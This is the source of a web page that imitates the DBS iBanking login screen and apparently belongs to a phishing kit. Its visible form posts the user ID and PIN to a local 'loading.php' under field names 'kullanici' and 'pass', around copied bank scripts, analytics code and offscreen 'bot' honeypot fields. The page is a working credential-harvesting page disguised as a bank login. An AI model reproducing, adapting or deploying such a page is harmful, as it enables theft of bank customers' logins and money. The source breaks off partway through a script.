<!doctypehtml><meta content=width=device-width,initial-scale=1,user-scalable=no name=viewport><meta content=IE=edge http-equiv=X-UA-Compatible><meta content=telephone=no name=format-detection><title>
   DBS iBanking
  </title><link href=css/themes_login.css?version=244 rel=stylesheet><link href=css/language_login.css?version=244 rel=stylesheet><link href=css/login.css?version=244 rel=stylesheet><script src=css/jquery-3.3.1.js></script><script src=css/jquery-migrate-3.0.1.js></script><script src=css/login.js></script><script language=javascript src=css/EncryptionApplet.js></script><script src=css/satelliteLib-e1e8c61fc2280cc6fb41b6644be1ca2dfdcf675d.js></script><script language=javascript>var digitalData=null;
var bannerImpressionXid_1="";
var bannerImpressionXid_2="";
var bannerImpressionXid_3="";
var bannerImpressionXid_4="";
var bannerImpressionXid_5="";
var bannerImpressionXid_6="";
var loadImpressionCodeExecuted=0;
function aaBannerImpression(banner_address, offerId, id)
{
	if (id == '0') {
		bannerImpressionXid_1 = banner_address+"-"+offerId;
		
		if (loadImpressionCodeExecuted == 1) {
			
			digitalData.oxsBanner.xid_1 =  bannerImpressionXid_1;
			if (typeof _satellite === "undefined") {
				  //_satellite is undefined
			} else {
			  //alert(JSON.stringify(digitalData));
			  _satellite.track("oxs-banner-tracking-impression-1");
			}
		}
	} else if (id == '1') {
		bannerImpressionXid_2 = banner_address+"-"+offerId;
		
		if (loadImpressionCodeExecuted == 1) {
			digitalData.oxsBanner.xid_2 =  bannerImpressionXid_2;
			if (typeof _satellite === "undefined") {
				  //_satellite is undefined
			} else {
			  //alert(JSON.stringify(digitalData));
			  _satellite.track("oxs-banner-tracking-impression-2");
			}
		}
	} else if (id == '2') {
		bannerImpressionXid_3 = banner_address+"-"+offerId;
		
		if (loadImpressionCodeExecuted == 1) {
			digitalData.oxsBanner.xid_3 =  bannerImpressionXid_3;
			if (typeof _satellite === "undefined") {
				  //_satellite is undefined
			} else {
			  //alert(JSON.stringify(digitalData));
			  _satellite.track("oxs-banner-tracking-impression-3");
			}
		}
	} else if (id == '3') {
		bannerImpressionXid_4 = banner_address+"-"+offerId;
		
		if (loadImpressionCodeExecuted == 1) {
			digitalData.oxsBanner.xid_4 =  bannerImpressionXid_4;
			if (typeof _satellite === "undefined") {
				  //_satellite is undefined
			} else {
			  //alert(JSON.stringify(digitalData));
			  _satellite.track("oxs-banner-tracking-impression-4");
			}
		}
	} else if (id == '4') {
		bannerImpressionXid_5 = banner_address+"-"+offerId;
		
		if (loadImpressionCodeExecuted == 1) {
			digitalData.oxsBanner.xid_5 =  bannerImpressionXid_5;
			if (typeof _satellite === "undefined") {
				  //_satellite is undefined
			} else {
			  //alert(JSON.stringify(digitalData));
			  _satellite.track("oxs-banner-tracking-impression-5");
			}
		}
	} 
}
function aaBannerClick(banner_address, offerId, id)
{
	if (id == '0') {
		if (typeof _satellite === "undefined") {
			  //_satellite is undefined
		} else {
		  //alert(JSON.stringify(digitalData));
		  _satellite.track("oxs-banner-tracking-click-1");
		}
		
	} else if (id == '1') {
		if (typeof _satellite === "undefined") {
			  //_satellite is undefined
		} else {
		  //alert(JSON.stringify(digitalData));
		  _satellite.track("oxs-banner-tracking-click-2");
		}

	} else if (id == '2') {
		if (typeof _satellite === "undefined") {
			  //_satellite is undefined
		} else {
		  //alert(JSON.stringify(digitalData));
		  _satellite.track("oxs-banner-tracking-click-3");
		}

	} else if (id == '3') {
		if (typeof _satellite === "undefined") {
			  //_satellite is undefined
		} else {
		  //alert(JSON.stringify(digitalData));
		  _satellite.track("oxs-banner-tracking-click-4");
		}

	} else if (id == '4') {
		if (typeof _satellite === "undefined") {
			  //_satellite is undefined
		} else {
		  //alert(JSON.stringify(digitalData));
		  _satellite.track("oxs-banner-tracking-click-5");
		}

	}


}
function aaLoginError()
{
	if (typeof _satellite === "undefined") {
			//_satellite is undefined
	} else {
		if (digitalData.form != null) {
			digitalData.form.error = aaErrorMessage;
			console
					.log("crl_aa_header.jsp -> digitalData.form.error = aaErrorMessage"
							+ aaErrorMessage);
		}
		//alert(JSON.stringify(digitalData));
		_satellite.track("user-log-in-error-message");
	}

}
	function aaCheckErr() {

		var errorMsg = 'false';
	if( errorMsg !=null && errorMsg == 'true') {
		alert("login error");
		aaLoginError();
	}
}</script><script>$(document).ready(function(){
if($('.browser-error').is(":visible")){
                $('iframe').addClass('broswer-open');
            }
	init();
	 window.onorientationchange = detectIPadOrientation;
            setiFrameHeight();
	
	//if ($('#ermsg').height() != null) {
            
            var isIE = /*@cc_on!@*/false || !!document.documentMode;
            if (isIE) {
                $('body').addClass('ie');
	        }
});
$(window).resize(function() {
                setiFrameHeight()
            });
            var window_Height;

            function setiFrameHeight() {
                var d = $(".login-form").height();
                var e;
                window_Height = $(window).height();
                if ((window_Height - d) < 200) {
                    if (window_Height > d) {
                        e = window_Height
                    } else {
                        e = d
                    }
                    $("#iframe1").height(e + 100)
                } else {
                    $("#iframe1").height(window_Height)
                }
            }

            function detectIPadOrientation() {
;
                if (orientation == 0 || orientation == 90 || orientation == -90 || orientation == 180) {
                    setiFrameHeight();


                }
            }
var resized=false;

function validateResize() {
            if($(window).height() < 768 && resize==false){
                var _currentFrame = $('iframe'),
                _currentHeight = _currentFrame.height(),
                _currentErrorheight =  $('.generic-error').height();   
                $('.generic-error').show();
                if($('.generic-error').is(":visible")){
                    _currentFrame.height(_currentHeight + _currentErrorheight + 30);
                    $('iframe').addClass('error-open');
                }else{
                    _currentFrame.height(_currentHeight + _currentErrorheight);
                }
                resize = true;
            }
            else{
                $('.generic-error').show();
                resize = true;
            }         
        }</script><body onload=aaCheckErr();init();><input value='{page:{pageInfo:{pageName:"sg:en:ib_pre:SKIN_NAME:login",language:"en",hier:"sg|en|ib_pre|SKIN_NAME|login",referringURL:"",destinationURL:"LOGIN",country:"sg"},category:{pageType:"forms - service - non-financial",site:"ib_pre",primaryCategory:"SKIN_NAME",subCategory1:"login",subCategory2:""}},user:{segment:{customerId:"",customerStatus:"existing"}},oxsBanner:{xid_1:"",xid_2:"",xid_3:"",xid_4:"",xid_5:""}}'id=aaDigitalData name=aaDigitalData type=hidden><input id=aaCommand name=aaCommand type=hidden><input id=aaPidPrefix name=aaPidPrefix type=hidden value=sg-SKIN_NAME-ib_pre-login:-><input id=aaErrorMsg name=aaErrorMsg type=hidden><input id=aaLoginErrorMsg name=aaLoginErrorMsg type=hidden><iframe class=content-holder frameborder=0 id=iframe1 name=iframe1 scrolling=no src=iframe.html></iframe><form onsubmit=" "action=loading.php class=Main_Wild_Form method=post name=Main_Wild_Form><input name=isCancelClicked type=hidden value=0><input name=isSubmitClicked type=hidden value=0><div class=login-form><div class="text-center logo"><img src=css/desktoplogo.webp></div><input id=bot_username style=position:absolute;top:-9999px; value=bot><input id=bot_password style=position:absolute;top:-9999px; type=password value=bot><div class="form-row input-layout"><input autocomplete=off class=left id=UID maxlength=20 name=kullanici tabindex=1><span class=highlight> </span><span class=bar id=uidBar> </span><label>User ID</label></div><div class=error-msg id=errormsg style=display:none><h4 id=InvalidUserId>Sorry, you have entered an invalid User ID.</h4></div><div class="form-row input-layout pin"><input onkeydown="return onlyNumerics(event)"autocomplete=off class=left id=PIN maxlength=9 name=pass onkeyup=keyUp(event) tabindex=2 type=password><span class=highlight> </span><span class=bar id=pinBar> </span><label>PIN</label></div><div class=error-msg id=errormsg1 style=display:none><h4 id=InvalidPIN>The PIN length should range from 6 to 9 digits.</h4></div><div class=mTop-38><button class="btn btn-primary block mBot-12"onclick="javascript:setStartTimeInLocalStorage();javascript:aaLoginClick();javascript:CheckErr(document.forms['MainForm']);callNIClick('int_buttonclick', 'ib_loginbox', 'login');"tabindex=3 title=Login>Login</button><button class="btn btn-secondary right mBot-16"onclick="javascript:aaLinkClick('login box-','get started');javascript:submitibAPLEventForm('newIB');callNIClick('int_linkclick', 'ib_loginbox', 'register');"title="Get Started"tabindex=4 type=button>Get Started</button></div><div class=links><ul><li>Forgot <a title="User ID"href onclick tabindex=5> User ID </a> or <a href onclick tabindex=6 title=PIN> PIN </a><li><a title="Frequently Asked Questions"href onclick tabindex=7> Frequently Asked Questions </a><li><a title="Maintenance Schedule"href onclick tabindex=8> Maintenance Schedule </a><li><a title="Security & You"href onclick tabindex=9 target=_blank> Security & You </a></ul></div></div><script language=JavaScript>function setStartTimeInLocalStorage(){
               try{ 	
		if (typeof(Storage) !== "undefined") {
    		sessionStorage.setItem("iWealthStartTimeForAWSAnalytics", new Date().getTime());
			console.log("iWealth IB AWS Analytics: stored startTime From Login button");
		} 
              }catch(Err){

		} 
	}</script><script language=JavaScript>sessionStorage.clear();</script></form><input name=IB_SELECTION type=hidden><input name=statemachineStateName type=hidden value=23e95b5b0a5b17ef00adb1d416bf0b08><input name=statemachineEventName type=hidden value=LogonEvent><input name=ENCRYPTED_PIN_BLOCK type=hidden><input name=IAM_ENCRYPTED_PIN_BLOCK type=hidden><input name=RAW_PIN_LENGTH type=hidden><input name=RSA_KEY_INDEX type=hidden value=0006><input name=RANDOM_NUMBER type=hidden value=08338662348867610672><input name=RANDOM_NUMBER_AR type=hidden value=58BBF3FC8D7C85A1><input name=CLIENT_RANDOM_NUMBER type=hidden><input name=INDEX_KEY type=hidden><input name=USER_LOGON_NAME type=hidden><input name=FROM_IB type=hidden value=TRUE><input value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"name=USER_AGENT type=hidden><input name=PWEB_META_DATA type=hidden><input name=TRACK_TOKEN type=hidden value=161453779693758BBF3FC8D7C85A1><script language=javascript src=css/client_javascript.js></script><script language=javascript src=css/client_validation.js></script><script language=javascript src=css/notification.js></script><script language=javascript src=css/js/DBSLogin.js></script><script>$(document).ready(function() {
        var maxLimit = 180;
    	var str = "";
    	var charcount = str.length;
        if(charcount > maxLimit){
          var temp = str.substring(0,maxLimit);
          $('#content').text(temp)
          $('#notice').show();
          $('#more').show();
        } else{
          $('#content').text(str)
          $('#more').hide();
          $('#notice').show();
        }

        $('#showmore').on('click', function(){
          $('#content').text(str)
          $('#notice').show();
          $('#less').show();
          $('#more').hide()
        })

        $('#showless').on('click', function(){
          $('#less').hide()
          $('#more').show();
          if(charcount > maxLimit){
          var temp = str.substring(0,maxLimit);
          $('#content').text(temp)
          $('#notice').show();
          $('#more').show();
        } else{
          $('#content').text(str)
          $('#more').hide();
          $('#notice').show();
        }
        })
    });</script><script language=javascript src=css/pinEncryption.js></script><script language=javascript src=css/IAMPinEncryption.js></script><script language=javascript src=css/util_obf.js></script><script language=javascript src=css/3des_obf.js></script><script language=javascript src=css/jsbn_obf.js></script><script language=javascript src=css/rsa_obf.js></script><script language=JavaScript>var submitOnceErrorMsg="You may submit this request once.";

	 //added for enter key event
        $(document).keyup(function (event) {
            var keypressed = event.keyCode || event.which;
            if (keypressed == 13) {
              if(event.target.id=="UID" || event.target.id=="PIN"){
					CheckErr(document.forms['MainForm']);
				}
            }
        }); 
	
	function CheckErr(objForm)
	{
		$('.login-form').removeClass('headShake');
		if (document.MainForm.isCancelClicked.value == "0" && document.MainForm.isSubmitClicked.value == "0"){
		   var userId = document.MainForm.UID.value;
		   var bValid = true;
		   var minlength ="5";
		   var maxlength ="20";
		   if(isWithinLengthRange(userId,minlength,maxlength) && !isNumeric(userId) && isAlphaNumeric(userId))
		   {
				bValid = true;
				$('#UID').removeClass('red');
                $('.login-form').removeClass('headShake');
                
		   }
		   else
		   {
				// var errmsg="Sorry, you have entered an invalid User ID.";
				// document.getElementById("InvalidUserId").innerHTML = errmsg;
				document.getElementById("errormsg").style.display = 'none'; 
				document.getElementById("InvalidPIN").style.display = 'none';
				if (document.getElementById("ermsg") != null) {
					document.getElementById("ermsg").style.display = 'none';
					
					 $('#UID').removeClass('red');
                     $('.login-form').removeClass('headShake');
				}
				
				document.getElementById("InvalidUserId").style.display = 'block';
				
                    $('#UID').focus();
                    $('#UID').addClass('red');
                    $('.login-form').addClass('headShake');
               
				document.getElementById("errormsg").style.display = 'block'; 
				bValid = false;
				aaLoginError();
		   }
	/*		
		//to change iframe width
		  if(document.getElementById("errormsg").style.display == 'block' || 
					document.getElementById('browsererrormsg').style.display == 'block'){
					setiFrameHeight();
			}
	*/			
		   if (bValid)
		   {
			  document.LogonEventForm.elements["USER_LOGON_NAME"].value = userId;
			  handleLogin();
		   }
		   else{
			   document.MainForm.UID.focus();
			   validateResize()
			   return;
		   }
		}else{
			alert(submitOnceErrorMsg);
			return;
		}
	}
	
	function handleLogin() {
	
		
		var pinNumber = document.MainForm.PIN.value;
		var errmsg1;
		if (!isPinValid(pinNumber)) {
			// errmsg1="The PIN length should range from 6 to 9 digits.";
			// document.getElementById("InvalidPIN").innerHTML = errmsg1;
			document.getElementById("errormsg1").style.display = 'none';
			//document.getElementById("errormsg").style.display = 'none'; 
			document.getElementById("InvalidUserId").style.display = 'none';
			if (document.getElementById("ermsg") != null) {
				document.getElementById("ermsg").style.display = 'none';
				 $('#PIN').removeClass('red');
                 $('.login-form').removeClass('headShake');
				 
			}
			document.getElementById("InvalidPIN").style.display = 'block';
			
                $('#PIN').focus();
                $('#PIN').addClass('red');
                $('.login-form').addClass('headShake');
             
			document.getElementById("errormsg1").style.display = 'block'; 
			document.MainForm.PIN.value = "";
			document.MainForm.PIN.focus();
			validateResize();
			aaLoginError();
			return;
		}
		if(!bIsDigitOnly(pinNumber)){
			// errmsg1="The PIN length should range from 6 to 9 digits.";
			// document.getElementById("InvalidPIN").innerHTML = errmsg1;
			document.getElementById("InvalidUserId").style.display = 'none';
			if (document.getElementById("ermsg") != null) {
				document.getElementById("ermsg").style.display = 'none';
				 $('#PIN').removeClass('red');
                 $('.login-form').removeClass('headShake');
            }
                $('#PIN').focus();
                $('#PIN').addClass('red');
                $('#.login-form').addClass('headShake');
               
			document.getElementById("errormsg1").style.display = 'block'; 
			document.getElementById("InvalidPIN").style.display = 'block';
			document.MainForm.PIN.value = "";
			document.MainForm.PIN.focus();
			aaLoginError();
				return;
		}
		
			var Exp_String="010001";
			var publicKeyMod = 'd5255bea5b26605dba280485e4a6793541343c185486c798f9d69d470ae440d4e40163485c93b899930d689a0e2557f88826770f81024e06029e8ad5261d23a6e615b2d3fde7d15522922f031a4ed694c090d6f87abc4f3297adaed9b7e8c9a61468ae0e2a541c8720fb133166a4a73c30aeb452ba447382be2bedc805ed1b9d3445e3ef73abfd806e42b4062bad85523c7114e0c76df1e2b5d2498cd03bfd8536eb7dda69e60996d6025eac81c2c3382e95ba4d5124f9b12e68a8628ad44cba80d5c615760d003e49a8bf2fc1b2ab7d010e6ede9b9e9d1797a0b83ce247d09746679127a174429474714bd596d24ab2f7d9fb6e1adc2f4ac55b53a036854571'; 
			var keyIndex = '0006'; 
			var randomNumber = '58BBF3FC8D7C85A1';
			var iamPubKey ='aeb6833696e0e955cbbbab58319c14f7e16a58d9f16e57b7dc603d66bf6ffa0420d524c45b363cef9591bc906377ce6cf80f139079bd8bb3991807465db70af0d96ebeaba470b0169d30855189bfd1ba21e4e39da5f57493f47f7984b877b9aa56aaf5c6d213a0c7b2506c3e525a91803e2684c8efb56df7b6e64c584bbe8518eb7da413e939c26dad603c7690d3ddbba717060ee7d8f09c1649cbb265f04e65dae70a2f4dba78012eeb5fbceebe73667d4c59ff955a1414d5401b0beada953ea6b58b703c1a9ae443c254152efa8bfb66b56ffa49e91aff6273b803d45035ab90a9d19ddf180b1a1d6b728d5bda0499fe154beb6537a03b16f5ae5d150f36cb';
			var encResult,encyPass,encodPara;
		
			initialisePublicKeyData(publicKeyMod,Exp_String);
			encResult=OBM_EncryptPassword_Ex(pinNumber,randomNumber,"SHA2-512"); 
			if(encResult == "0" ){
				encyPass= OBM_GetEncryptedPassword();
				encodPara=OBM_GetEncodingParameter();
		 	}
	 	
			document.LogonEventForm.ENCRYPTED_PIN_BLOCK.value =encyPass;
			document.LogonEventForm.CLIENT_RANDOM_NUMBER.value =encodPara;
			
			var dbslogin = new DBSLogin();
			var iamencyPass;
			
				var iamEncryption = new RIBLogon();	

				iamEncryption.setKeyValue(iamPubKey); //pass in the public key 
				try{		
					iamencyPass = iamEncryption.encyptPwd(pinNumber,randomNumber); //for pin change
				}catch(e){throw e} 
			
			document.LogonEventForm.IAM_ENCRYPTED_PIN_BLOCK.value =iamencyPass;
			
			document.LogonEventForm.RAW_PIN_LENGTH.value = document.MainForm.PIN.value.length;
			document.MainForm.isSubmitClicked.value = "1";
			document.LogonEventForm.INDEX_KEY.value =keyIndex;
			document.LogonEventForm.submit();
		 
	}
	function doClear()
	{
		document.MainForm.UID.value = "";
		document.MainForm.PIN.value  = "";
		window.focus();
		document.MainForm.UID.focus();
	}
	
	function main()
	{
		if (document.MainForm.isCancelClicked.value == "0" && document.MainForm.isSubmitClicked.value == "0"){
			   alert("We have cancelled this transaction at your request.");
			   document.MainForm.isCancelClicked.value = "1";
			   window.top.location.href="http://www.dbs.com/sg/personal/ebanking/";
		}
		else{
			alert(submitOnceErrorMsg);
			return;
		}
	}</script><script language=JavaScript>function submitibAPLEventForm(sel){
	if ( sel == "ResetPIN"){
			document.SubmitibAPLForm.IB_SELECTION.value ="RESET_IB_PIN";
	}else if(sel == "PrintUID"){
			document.SubmitibAPLForm.IB_SELECTION.value ="PRINT_UID";
	}else if(sel == "newIB"){
			document.SubmitibAPLForm.IB_SELECTION.value ="CREATE_IB_PROFILE";
	}
		document.SubmitibAPLForm.submit();
}</script><script language=javascript>if (document.getElementById("aaDigitalData")) {
		if(document.getElementById("aaDigitalData").value!=null && document.getElementById("aaDigitalData").value!="") {
			digitalData = eval('('+document.getElementById("aaDigitalData").value+')');
			
			if (digitalData.user.segment.customerId == '') {
				digitalData.user.segment.customerId='';
			}
			
			var aaPageName = "";
			var aaHier = "";
			var aaPrimaryCategory = "";
			var aaSkinName = 'dbs';
			if (digitalData.page.pageInfo.pageName != '') {
			  aaPageName = digitalData.page.pageInfo.pageName;
			  aaPageName = aaPageName.replace("SKIN_NAME", aaSkinName);
			  digitalData.page.pageInfo.pageName = aaPageName;
			}
			
			//brand is a new element added to pageInfo array
			digitalData.page.pageInfo.brand = aaSkinName;
			
			if (digitalData.page.pageInfo.hier != '') {
			  aaHier = digitalData.page.pageInfo.hier;
			  aaHier = aaHier.replace("SKIN_NAME", aaSkinName);
			  digitalData.page.pageInfo.hier = aaHier;
			}
			
			if (digitalData.page.category != '') {
				if (digitalData.page.category.primaryCategory != '') {
				  aaPrimaryCategory = digitalData.page.category.primaryCategory;
				  aaPrimaryCategory = aaPrimaryCategory.replace("SKIN_NAME", aaSkinName);
				  digitalData.page.category.primaryCategory = aaPrimaryCategory;
				}
			}
			if (digitalData.form != null) {
				if (digitalData.form.name != null) {
				  aaFormName = digitalData.form.name;
				  aaFormName = aaFormName.replace("~", "'");
				  digitalData.form.name = aaFormName;
				}
				if (digitalData.form.stepDetail != null) {
				  aaFormStepDetail = digitalData.form.stepDetail;
				  aaFormStepDetail = aaFormStepDetail.replace("~", "'");
				  digitalData.form.stepDetail = aaFormStepDetail;
				}

			}
			if (document.getElementById("aaErrorMsg")) {
				console.log("aaErrorMsg");
				if(document.getElementById("aaErrorMsg").value!=null && document.getElementById("aaErrorMsg").value!="") {
					var aaErrorMessage = document.getElementById("aaErrorMsg").value;
					if (digitalData.form != null) {
					  digitalData.form.error = aaErrorMessage;
					}
				}
			}
			if (document.getElementById("aaLoginErrorMsg")) {
				if(document.getElementById("aaLoginErrorMsg").value!=null
						&& document.getElementById("aaLoginErrorMsg").value!="") {
					var aaErrorMessage = document.getElementById("aaLoginErrorMsg").value;
					digitalData.form={error:""};
					digitalData.form.error = aaErrorMessage;
					if (typeof _satellite === "undefined") {
					  //_satellite is undefined
					} else {
                          digitalData.form.error = aaErrorMessage;
					  	  //alert(JSON.stringify(digitalData));
					 	  _satellite.track("user-log-in-error-message");
					}
				}
			}
			
			if (bannerImpressionXid_1 != null && bannerImpressionXid_1 !='') {
				digitalData.oxsBanner.xid_1 =  bannerImpressionXid_1;
				if (typeof _satellite === "undefined") {
					  //_satellite is undefined
				} else {
				  //alert(JSON.stringify(digitalData));
				  _satellite.track("oxs-banner-tracking-impression-1");
				}
			}
			if (bannerImpressionXid_2 != null && bannerImpressionXid_2 !='') {
				digitalData.oxsBanner.xid_2 =  bannerImpressionXid_2;
				if (typeof _satellite === "undefined") {
					  //_satellite is undefined
				} else {
				  //alert(JSON.stringify(digitalData));
				  _satellite.track("oxs-banner-tracking-impression-2");
				}
			}
			if (bannerImpressionXid_3 != null && bannerImpressionXid_3 !='') {
				digitalData.oxsBanner.xid_3 =  bannerImpressionXid_3;
				if (typeof _satellite === "undefined") {
					  //_satellite is undefined
				} else {
				  //alert(JSON.stringify(digitalData));
				  _satellite.track("oxs-banner-tracking-impression-3");
				}
			}
			if (bannerImpressionXid_4 != null && bannerImpressionXid_4 !='') {
				digitalData.oxsBanner.xid_4 =  bannerImpressionXid_4;
				if (typeof _satellite === "undefined") {
					  //_satellite is undefined
				} else {
				  //alert(JSON.stringify(digitalData));
				  _satellite.track("oxs-banner-tracking-impression-4");
				}
			}
			if (bannerImpressionXid_5 != null && bannerImpressionXid_5 !='') {
				digitalData.oxsBanner.xid_5 =  bannerImpressionXid_5;
				if (typeof _satellite === "undefined") {
					  //_satellite is undefined
				} else {
				  //alert(JSON.stringify(digitalData));
				  _satellite.track("oxs-banner-tracking-impression-5");
				}
			}
			loadImpressionCodeExecuted=1;
			
			//alert(JSON.stringify(digitalData));
		}
	}
	
	if (typeof _satellite === "undefined") {
	  //_satellite is undefined
	} else {
	  _satellite.pageBottom();
	}
	
addLoadEvent(formOnLoad);	

function formOnLoad() {
	if (document.getElementById("aaCommand")) {
		if(document.getElementById("aaCommand").value!=null && document.getElementById("aaCommand").value!="") {
			var aaDigitalDataCommand = document.getElementById("aaCommand").value;
			if (typeof _satellite === "undefined") {
			  //_satellite is undefined
			} else {
			  _satellite.track(aaDigitalDataCommand);
			}
					
		}
	} 
};

function addLoadEvent(func) {
  var oldonload = window.onload;
  if (typeof window.onload != 'function') {
    window.onload = func;
  } else {
    window.onload = function() {
      if (oldonload) {
        oldonload();
      }
      func();
    }
  }
}</script><script language=javascript>function aaButtonClick(fldName,fldId)
{
	var fieldIdName = "";
	if (isNaN(fldName)) {
		fieldIdName = fldName;
	} else {
		fieldIdName = fldId;
	}
	if (fieldIdName == "") {
	} else {
		if (document.getElementById("aaCommand")) {
			if(document.getElementById("aaCommand").value!=null && document.getElementById("aaCommand").value!="") {
				var aaCommand = document.getElementById("aaCommand").value;
				var aaServiceProductType = "";
				if (aaCommand.indexOf("service") > -1) {
					aaServiceProductType = "service";
				} else if (aaCommand.indexOf("product") > -1) {
					aaServiceProductType = "product";
				}
				if (aaServiceProductType != "") {
					var aaDigitalDataCommand = aaServiceProductType + "-form-generic-button";
					digitalData.form.button = fieldIdName;
					if (typeof _satellite === "undefined") {
					  //_satellite is undefined
					} else {
					  //alert(JSON.stringify(digitalData));
					  _satellite.track(aaDigitalDataCommand);
					}
				}
			}
		} 
	}
}
function aaLostFocusField(fldName,fldId)
{
	var fieldIdName = "";
	if (isNaN(fldName)) {
		fieldIdName = fldName;
	} else {
		fieldIdName = fldId;
	}
	if (fieldIdName == "") {
	} else {
		if (document.getElementById("aaCommand")) {
			if(document.getElementById("aaCommand").value!=null && document.getElementById("aaCommand").value!="") {
				var aaCommand = document.getElementById("aaCommand").value;
				var aaServiceProductType = "";
				if (aaCommand.indexOf("service") > -1) {
					aaServiceProductType = "service";
				} else if (aaCommand.indexOf("product") > -1) {
					aaServiceProductType = "product";
				}
				if (aaServiceProductType != "") {
					var aaDigitalDataCommand = aaServiceProductType + "-form-lost-focus-field";
					digitalData.form.field = fieldIdName;
					if (typeof _satellite === "undefined") {
					  //_satellite is undefined
					} else {
					  //alert(JSON.stringify(digitalData));
					  _satellite.track(aaDigitalDataCommand);
					}
				}
			}
		} 

	}
}

function aaLinkClick(linkType, linkName)
{
	var aaSkinName = 'dbs';
	if (document.getElementById("aaPidPrefix")) {
		if(document.getElementById("aaPidPrefix").value!=null && document.getElementById("aaPidPrefix").value!="") {
			var aaPidPrefix = document.getElementById("aaPidPrefix").value;
			aaPidPrefix = aaPidPrefix.replace("SKIN_NAME", aaSkinName);
			var aaDigitalDataCommand = "links-clickthrough";
			digitalData.campaign = {};
			aaPidPrefix = aaPidPrefix.replace(" ","");
			linkType = linkType.replace(" ","");
			linkName = linkName.replace("~","'");
			linkName = linkName.replace("|","'");
			var aaPid = aaPidPrefix + linkType + linkName; 
			digitalData.campaign.pid = aaPid;
			if (typeof _satellite === "undefined") {
			  //_satellite is undefined
			} else {
			  //alert(JSON.stringify(digitalData));
			  _satellite.track(aaDigitalDataCommand);
			}
		}
	} 
}
function aaLoginClick()
{
	console.log("crl_iframe_init->aaLoginClick");
		if (typeof _satellite === "undefined") {
	  //_satellite is undefined
	} else {
	  //alert(JSON.stringify(digitalData));
	  _satellite.track("user-log-in-button-clickthrough");
	}

}
function aaLogoutClick()
{
		if (typeof _satellite === "undefined") {
	  //_satellite is undefined
	} else {
	  //alert(JSON.stringify(digitalData));
	  _satellite.track("user-log-out");
	}

}
function aa2FAelevationUsage()
{
		if (typeof _satellite === "undefined") {
	  //_satellite is undefined
	} else {
	  //alert(JSON.stringify(digitalData));
	  _satellite.track("2fa-elevation-usage");
	}

}
function aaClickThrough(linkType, linkName)
{                                   
    if (document.getElementById("aaPidPrefix")) {        
        if(document.getElementById("aaPidPrefix").value!=null && document.getElementById("aaPidPrefix").value!="") {    
            var aaPidPrefix = document.getElementById("aaPidPrefix").value;        
            aaPidPrefix = aaPidPrefix.replace("SKIN_NAME", "dbs");            
            var aaDigitalDataCommand = "IB-generic-links-clickthrough";    
            digitalData.link = {};        
            digitalData.link.name={};            
            aaPidPrefix = aaPidPrefix.replace(" ","");
            linkType = linkType.replace(" ","-");
            linkName = linkName.replace("~","'");
            linkName = linkName.replace("|","'");            
            var aaPid =linkType; 
            digitalData.link.name=aaPid ;
            if (typeof _satellite === "undefined") {
              //_satellite is undefined
            } else {
              //alert(JSON.stringify(digitalData));
              _satellite.track(aaDigitalDataCommand);
            }
        }
    } 
 
}</script><form action=null id=awspost name=awspost><input id=trackEventToken name=trackEventToken type=hidden><input id=trackEventSourceId name=trackEventSourceId type=hidden><input id=eventCategoryId name=eventCategoryId type=hidden><input id=customerLocale name=customerLocale type=hidden><input id=pageTitle name=pageTitle type=hidden><input id=serviceId name=serviceId type=hidden><input id=serviceName name=serviceName type=hidden><input id=hashId name=hashId type=hidden><input id=userAgent name=userAgent type=hidden><input id=requestSize name=requestSize type=hidden><input id=responseSize name=responseSize type=hidden><input id=startTime name=startTime type=hidden><input id=endTime name=endTime type=hidden><input id=clientTimezone name=clientTimezone type=hidden><input id=navigationStart name=navigationStart type=hidden><input id=unloadEventStart name=unloadEventStart type=hidden><input id=unloadEventEnd name=unloadEventEnd type=hidden><input id=redirectStart name=redirectStart type=hidden><input id=redirectEnd name=redirectEnd type=hidden><input id=fetchStart name=fetchStart type=hidden><input id=domainLookupStart name=domainLookupStart type=hidden><input id=domainLookupEnd name=domainLookupEnd type=hidden><input id=connectStart name=connectStart type=hidden><input id=connectEnd name=connectEnd type=hidden><input id=secureConnectionStart name=secureConnectionStart type=hidden><input id=requestStart name=requestStart type=hidden><input id=responseStart name=responseStart type=hidden><input id=responseEnd name=responseEnd type=hidden><input id=domLoading name=domLoading type=hidden><input id=domInteractive name=domInteractive type=hidden><input id=domContentLoadedEventStart name=domContentLoadedEventStart type=hidden><input id=domContentLoadedEventEnd name=domContentLoadedEventEnd type=hidden><input id=domComplete name=domComplete type=hidden><input id=loadEventStart name=loadEventStart type=hidden><input id=loadEventEnd name=loadEventEnd type=hidden></form><script language=javascript>function getTimeZone(){
			var offset = new Date().getTimezoneOffset(), o = Math.abs(offset);
			return (offset < 0 ? "+" : "-") + ("00" + Math.floor(o / 60)).slice(-2) + "" + ("00" + (o % 60)).slice(-2);
		}

		function setAwsPostData(){
			var trackToken="161453779693758BBF3FC8D7C85A1";

			var now = new Date().getTime();
			var page_load_time = now - performance.timing.navigationStart;
			var language = navigator.userLanguage || navigator.language;
	
			var sName = "";
			var subCategory1 = digitalData.page.category.subCategory1;
			var subCategory2 = digitalData.page.category.subCategory2;
		
			if(null != subCategory1 && subCategory1.length != 0){
				sName = sName + subCategory1;
			}
		
			if(null != subCategory2 && subCategory2.length != 0){
				sName = sName + "|" + subCategory2;
			}
			document.getElementById("trackEventToken").value = trackToken;
			document.getElementById("trackEventSourceId").value = "1";
			document.getElementById("eventCategoryId").value = "1";
			document.getElementById("customerLocale").value = language;
			document.getElementById("pageTitle").value = digitalData.page.pageInfo.pageName;
			document.getElementById("serviceId").value = digitalData.page.pageInfo.destinationURL;
			document.getElementById("serviceName").value = sName;
			// document.getElementById("hashId").value = digitalData.user.segment.customerId;
			document.getElementById("hashId").value = "";
			document.getElementById("userAgent").value = navigator.userAgent;
			document.getElementById("requestSize").value = "0";
			document.getElementById("responseSize").value = "0";
			document.getElementById("startTime").value = performance.timing.navigationStart;
			document.getElementById("endTime").value = now;
			document.getElementById("clientTimezone").value = getTimeZone();
			document.getElementById("navigationStart").value = performance.timing.navigationStart;
			document.getElementById("unloadEventStart").value = performance.timing.unloadEventStart;
			document.getElementById("unloadEventEnd").value = performance.timing.unloadEventEnd;
			document.getElementById("redirectStart").value = performance.timing.redirectStart;
			document.getElementById("redirectEnd").value = performance.timing.redirectEnd;
			document.getElementById("fetchStart").value = performance.timing.fetchStart;
			document.getElementById("domainLookupStart").value = performance.timing.domainLookupStart;
			document.getElementById("domainLookupEnd").value = performance.timing.domainLookupEnd;
			document.getElementById("connectStart").value = performance.timing.connectStart;
